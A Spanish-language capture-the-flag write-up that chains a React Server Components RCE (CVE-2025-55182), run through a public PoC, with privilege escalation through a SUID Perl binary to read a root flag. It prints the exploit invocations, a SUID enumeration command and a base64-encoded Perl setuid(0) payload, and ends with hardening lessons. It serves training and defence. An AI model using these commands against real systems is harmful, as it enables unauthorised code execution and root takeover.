
[First-Blood-XO] Punto final de React Server Component vulnerable a CVE-2025-55182 (RCE) → enumeró binarios SUID → /usr/bin/perl tenía SUID establecido → usó POSIX setuid(0) de Perl para escalar a root → leyó /root/flag.txt
Categoría: Explotación Web | Dificultad: Media | Vulnerabilidad: Ejecución Remota de Código → Escalada de Privilegios SUID
El endpoint de Componentes del Servidor React vulnerable a CVE-2025-55182 (RCE) → enumeró binarios SUID → /usr/bin/perl tenía SUID configurado → usó setuid(0) de POSIX de Perl para escalar a root → leyó /root/flag.txt.
Bandera: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
Objetivo: http://challenge.cybermesh.site:30035/
El objetivo era una aplicación web basada en React que utilizaba Componentes del Servidor React (RSC) — una arquitectura relativamente nueva que ejecuta componentes del lado del servidor y transmite la salida serializada de vuelta al cliente a través de un formato de cable personalizado.
Esta arquitectura introduce un límite de ejecución del lado del servidor. El manejo inadecuado de la entrada en ese límite es exactamente lo que explota CVE-2025-55182.
Componentes del Servidor React RCE — El servidor no sanitiza la entrada controlada por el usuario antes de que llegue a la capa de ejecución de componentes del lado del servidor. Esto permite a un atacante inyectar comandos de shell a nivel de SO que se ejecutan en el contexto del proceso Node.js.
Flujo de ataque:
Existe un PoC público para este CVE:
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc
Verificación inicial — confirmando RCE y contexto de ejecución:
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"
Salida:
[+] EXPLOITATION SUCCESSFUL
► app
El servidor se ejecuta como usuario app. No es root — se requiere escalada.
Escaneando binarios SUID:
python exploit.py -t http://challenge.cybermesh.site:30035/ \
-c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"
Salida:
[+] EXPLOITATION SUCCESSFUL
► /usr/bin/gpasswd
► /usr/bin/perl <--- !!!
► /usr/bin/chsh
► /usr/bin/su
► /usr/bin/chfn
► /usr/bin/umount
► /usr/bin/mount
► /usr/bin/passwd
► /usr/bin/newgrp
/usr/bin/perl tiene el bit SUID configurado. Este es un GTFOBin bien conocido — cuando Perl es propiedad de root y tiene SUID, se ejecuta con privilegios de root independientemente de quién lo invoque.
Se construyó un payload de Perl codificado en base64 que:
POSIX::setuid(0) para escalar a root/root/flag.txtEntregado a través del endpoint RCE:
python exploit.py \
-t http://challenge.cybermesh.site:30035/ \
-c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"
El payload decodificado es aproximadamente:
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);
Salida:
[+] EXPLOITATION SUCCESSFUL
► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
1. La superficie de ataque de RSC está subestimada. Los Componentes del Servidor React son un nuevo paradigma. Muchos despliegues no han sido endurecidos contra la inyección de entrada en el límite del componente del servidor. Este CVE es un recordatorio de que el 'renderizado del lado del servidor' no es inherentemente seguro — el límite de ejecución aún necesita una sanitización adecuada.
2. SUID en tiempo de ejecución de scripting = root instantáneo.
/usr/bin/perl con SUID es una mala configuración de libro. GTFOBins lo cubre en detalle. Nunca configure el bit SUID en lenguajes de scripting (Perl, Python, Ruby, etc.) — a diferencia de los binarios compilados diseñados para SUID (su, passwd), estos entornos ofrecen rutas de escalada triviales.
3. La bandera es consciente de sí misma.
SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — el desafío fue explícitamente diseñado alrededor de SUID Perl como la ruta de escalada prevista. Cadena limpia.
CVE-2025-55182 (RSC RCE)
└─> whoami → usuario "app"
└─> encontrar binarios SUID
└─> /usr/bin/perl (SUID root) identificado
└─> payload Perl en base64 → escribir en /tmp/p.pl
└─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
└─> BANDERA ✓
Escrito por Abdullah Maqbool — Ingeniero de Pruebas de Penetración @ TISS | CRTA · CRTOM · CompTIA PenTest+